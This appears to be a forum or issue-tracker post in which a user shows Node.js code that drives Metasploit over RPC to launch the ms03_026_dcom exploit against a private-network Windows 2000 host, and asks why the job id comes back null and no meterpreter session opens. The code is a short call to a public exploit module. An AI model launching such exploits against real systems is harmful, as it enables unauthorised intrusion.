jod_id: null after launch "module.execute"

[mr2tone]

My code:

msfrpcClient.exec(['module.execute', 'exploit', 'windows/dcerpc/ms03_026_dcom', 
{  "RHOST" : "192.168.1.9"}
]).then( (res) => { 
      console.log(res)
}).catch( (err) => {
      console.log(err) 
})

Expect:

{ job_id: 1, uuid: 'ls9mwnfa' }

Actual:

{ job_id: null, uuid: 'ls9mwnfa' }

Target : Windows 2000
i tried with msfconsole and it's work ! when i use msfrpc-client coding with node.js it's not working
after i launch exploit i can't get a session to use meterpreter
Please explain what's going on about it.